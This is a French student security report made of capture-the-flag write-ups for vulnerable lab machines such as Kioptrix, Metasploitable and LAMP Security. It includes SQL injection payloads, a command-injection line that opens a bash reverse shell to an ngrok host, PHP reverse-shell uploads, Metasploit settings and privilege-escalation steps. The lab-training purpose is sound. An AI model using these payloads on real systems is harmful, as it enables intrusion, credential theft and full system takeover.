Rapport de sécurité
AHOUANDJINOU Lémec
23 Février 2019
Table des matières
1 LAMP security CTF7 2
3 Metasploitable 2 5
4 Kioptrix 3 6
5 Kioptrix level 4 7
6 Minautor 9
7 Kioptrix level 2 10
8 Droopy 11
9 Metasploitable 12
10 Lamp CTF 5 13
1
1 LAMP security CTF7
Pour commencer nous ferons un scan de ports. Le résultat du scan est montré par la figure suivante
nmap -A ctf02.root-me.org
Nous avons inspecté les deux services web sur les ports 80 et 8080. Le port 8080 donne accès à une
page de login. L’injection SQL ’ or 1=1 – . permet de se connecter au compte admin
L’option Reading Room donne accès à une liste de documents qu’on peut modifier. On en profite
pour uploader un code php pour avoir un reverse shell.
2
Une fois le reverse shell obtenu, on ouvre la session root de mysql sans mot de passe. On liste ensuite
les bases de données et après un peu de fouille on retrouve une table users dans la base de données
website. Les mots de passes sont hashés mais on les décrypte assez vite à l’aide d’outil en ligne.
Après s’être connecté avec le compte de julia, on peut aisément afficher le flag puisque le compte
dispose d’un accès root.
3
2 Lamp security CTF4
Après avoir réalisé un scan de ports on détecte un service web sur le port 80 ainsi qu’un service
SSH. L’inspection de la page web montre qu’elle utilise des requêtes GET. Nous allons utiliser la
propriété id du GET pour obtenur faire un sqlmap. On obtient la liste des bases de données ainsi que
de leurs tables.
En s’intéressant à la table user de la base de données ehks on obtient un liste d’utilisateur avec leur
mot de passe hashés automatiquement décryptés.
On se connecte à la machine en SSH avec le compte du premier utilisateur qui est dans le groupe
admins. Il ne reste plus qu’à afficher le fichier /passwd
4
3 Metasploitable 2
Pour cette machine il a suffit d’utiliser Armitage. Nous avons ajout la machine puis nous avons
lancé une analyse pour déterminer les attaques possibles. La liste est longue et nous avons essayé
quelques unes qui n’ont pas marché. C’est finalement l’attaque vsftpd_234_backdoor qui nous a
permis d’obtenir le shell. Pas besoin de privilèges root pour afficher le fichier passwd
5
4 Kioptrix 3
Tout commnence par un scan de ports pour découvrir les services qui tournent sur la machine.
Entres autres services, on retrouve un service web HTTP sur le port 80. Un tour sur la page suivi de
parcours des pages nous nomtre que le site utilise les requêtes GET. On tente alors une injection sql
dans le lien.
http ://kioptrix3.com/gallery/gallery.php ?id=null and 1=2 union select 1,2,(select group_concat(id,
0x3A, username, 0x3A, password) from dev_accounts),4,5,6
On obtient une page avec la liste des noms d’utilisateurs accompagnés de leurs mots de passe res-
pectifs et hashés.
A l’aide d’outil en ligne on obtient les mots de passe décryptés. On se connecte ensuite à la machine
avec le service SSH. D’abord avec dreg, mais sans rien obtenir de concret, et ensuite avec loneferret.
6
Sur le compte de ce dernier se trouve un fichier qui demande au nouveaux employés d’exécuter la
commande sudo ht.
Quand on exécute la commande on obtient une interface. Après un bref scruptage de celle-ci on se
rend compte qu’on a une option d’ouverture de fichier. On appui sur F3 et on tente d’ouvrir le fichier
/etc/sudoers où se trouve les privilèges des utilisateurs du groupe root. On ajoute alors /bash/cat
à l’utilisateur loneferret
5 Kioptrix level 4
Lorsqu’on se rend sur l’adresse on trouve une page de connexion. Le scan de port nous montre qu’il
y a un service utilisant NetBios. On fait alors un scan particulier utilisant un script pour obtenir
les utilisateurs du système. On obtient une liste de noms d’utilisateurs. Parmi ces noms se trouve le
pseudonyme john. On utilise celui-ci avec une injection SQL et on arrive à se connecter.
7
Sur la page suivante, on obtient le vrai mot de passe de john.
Lorsqu’on se connecte en SSH à la machine, on remarque que le compte john n’a pas droit à un shell
"entier". Il peut exécuter un nombre réduit de commandes parmi lesquelles se trouve echo. On va
donc utiliser cette commande pour obtenir gain de cause :
echo os.system(’/bin/bash’)
On peut maintenant utiliser toutes les commandes de la machine mais toujours sans les privilèges
root. On passera par mysql pour monter en grade. Pour cela on doit utiliser le compte root de mysql.
8
Celui-ci n’a pas de mot de passe sur la machine. Ainsi on peut se connecter au server mysql avec la
commande mysql -u root
Une fois ceci fait, il suffit d’utiliser la commande suivante pour donner les privilèges root à l’utilisa-
teur john :
select sys_exec(’usermod -a -G john’)
6 Minautor
Nous procédons à un scan de ports pour commencer. Celui-ci révèle l’existence de services HTTP,
SSH et TCP. Se penchant sur le service HTTP, on se rend à l’adresse de la machine avec le navigateur.
Le résultat est montré ci-dessous.
On cherche plus loin avec dirbuster pour connaitre les dossiers sur le serveur web. Parmi les dos-
siers obtenus, on remarque le dossier bull/ qui semble abriter un site du fait de la présence d’un
index.php. Une fois l’adresse tapée dans le navigateur on obtient une application faite avec Word-
Press. On procède alors à un scan avec wpscan. Nous parvenons alors à obtenir un nom d’ultilisateur :
9
bully. Mais n’ayant pas le mot de passe de celui-ci, nous procédons d’abord à la constitution d’un
dictionnaire de mots de passe à base des mots du sites avec cewl puis nous utilisons la commande
john pour trouver le mot de passe correspondant à bully. Une fois qu’on l’a trouvé on utilise la vul-
nérabilité exploit/unix/webapp/wp_sliceshowgallery_upload pour se loger et avoir un reverse shell.
On retrouve le flag mais aussi un fichier de backup.
Une fois téléchargé, le fichier est analysé avec la commande john : john shadow.bak show. On
obtient ainsi les noms et mots de passe de deux utilisateurs. Le premier, minautor, a accès au fichier
passwd qu’on affiche aisément
7 Kioptrix level 2
On se rend sur le site de l’adresse et on trouve une page de connexion. Avec une injection SQL on
arrive à passer. Ensuite vient une page qui demande de mettre une adresse IP sur lequel il fait un
ping. On en déduit que la chaine de caractère récupérée est exécutée en étant précédé d’un ping. On
va donc utiliser la ligne suivante pour obtenir un reverse shell.
facebook.com ; bash -i >& /dev/tcp/0.tcp.ngrok.io/13888 0>&1
On utilise ngrok qui va nous permettre d’être visible sur internet. On lance donc ngrok avec un nu-
méro de port donné. Au démarrage, ngrok nous donne un numéro de port, ici le 13888. On va ensuite
écouter le port sur lequel on a lancé ngrok avec ncat. La commande est ncat -lnvp num_port.
Une fois tout ceci fait, on entre la ligne et on valide. On obtient un reverse shell au niveau du ncat.
Pour obtenir les privilèges root au niveau de Kioptrix 2, on peut utiliser le fameux 9545.c disponible
à l’adresse https ://www.exploit-db.com/exploits/9545. Pour cela on va copier le contenu de ce fichier
et l’insérer dans un nouveau fichier qu’on crée au niveau du répertoire /tmp.
10
On compile puis on exécute le code. Dès lors, on passe en root et on peut désormais afficher le fichier
/passwd
8 Droopy
Droopy est une machine qui offre un service web disponible sur le nom de domaine de la machine.
Il s’agit d’une page de connexion.
Le code source de la page permet de savoir que le système utilise Drupal7. On fait alors une re-
cherche sur les vulnérabilités de celui-ci. On en trouve un qui nous permet de créer un utilisateur
tout en définissant son mot de passe. On exploite la vulnérabilité avec un script en python. python2
34984.py http ://ctf08.root-me.org admin passadmin
On crée ainsi un compte admin avec passadmin comme mot de passe. Une fois s’être connecté, on
obtient l’accès au site qu’on parcours un peu. Après avoir remarqué qu’on pouvait créer une page
en ajoutant son code, on décide d’utiliser un script php pour obtenir un reverse shell.
Cepandant, on remarque que les scripts php ne son pas pris en compte. Une fouille plus étendue du
site nous permet de découvrir dans l’onglet modules, une liste de types de fichiers où se trouvait la
11
ligne php filter mais qui était pas sélectionné. On le sélectionne puis on enregistre la configuration.
Il faut encore cliquer sur permissions qui apparait sur la même ligne que php filter une fois la sau-
vegarde faite. Ensuite on recherche la ligne php dans la nouvelle liste qui s’affiche et on coche les
cases de cette lignes permettant ainsi à tout utilisateur de créer des pages php.
On retourne donc créer notre page en copiant le code php dans la partie réservée au code. On utilise
ngrok pour se donner une visibilité et ncat pour écouter le port spécifié de notre machine. Une fois
la page sauvegardée, un reverse shell apparaît au niveau du ncat.
Avec uname -a on obtient le type du système. Pour ce système on utilisera l’exploit disponible à ce
lien ... pour obtenir les droits administrateur. Pour ça on se déplace dans le dossier /tmp, on crée un
fichier où on met le code puis on l’exécute.
9 Metasploitable
Le scan de port révèle que le système de la machine est Samba 3.0. On peut utiliser dans msf l’exploit
exploit/multi/samba/usermap_script. On va d’abord langer ngrok sur un port quelconque, ici le
port 1212. Puis on récupère le port que ngrok nous a attribué. Dans notre cas c’est le 15377. Puis on
spécifie les paramètres suivants :
— set RHOST ctf02.root-me.org
— set LHOST tcp.ngrok.io
12
— set LPORT 15377
— set ReverseListenerBindAdress 127.0.0.1
— set ReverseListenerBindPort 1212
On exécute en validant exploit et on obtient un reverse shell. On peut maintenant afficher le mot
de passe.
10 Lamp CTF 5
Le lien donné après le démarrage de la machine nous amène sur un site web. Après scruptation de
ce site, on tombe sur une page de login admin.
13
Comme on le voit sur cette page, c’est le CMS NanoCMS qui est utilisé. Celui-ci possède une vulné-
rabilité qui permet d’avoir le pseudo ainsi que le mot de passe de l’administrateur. Pour l’exploiter il
suffit d’entrer le lien suivant dans le navigateur : http ://ctf02.root-me.org/ andy/data/pagesdata.txt
Le mot de passe de l’administrateur obtenu est hashé. Après décryptage on découvre que c’est shan-
non
Une fois la connexion réussie, on arrive sur un dashboard à partir duquel on peut ajouter une page.
On ajoute une page avec un script php pour obtenir un reverse shell. Avant on lance un ngrok puis
un ncat et on modifie le scrip php en conséquence. Après avoir ajouté la page on clique sur l’onglet
Pages. On retrouve le nom de notre page dans la liste et on clique dessus. Ceci exécute le script et
on obtient un reverse shell.
uname -a nous donne le type de sytème. On fait quelques recherches et on obtient un exploit en
C. On crée un fichier dans le répertoire /tmp puis où on met le script avant de le compiler et de
l’exécuter. Le résultat est un passage en mode root. On peut ensuite afficher /passwd
14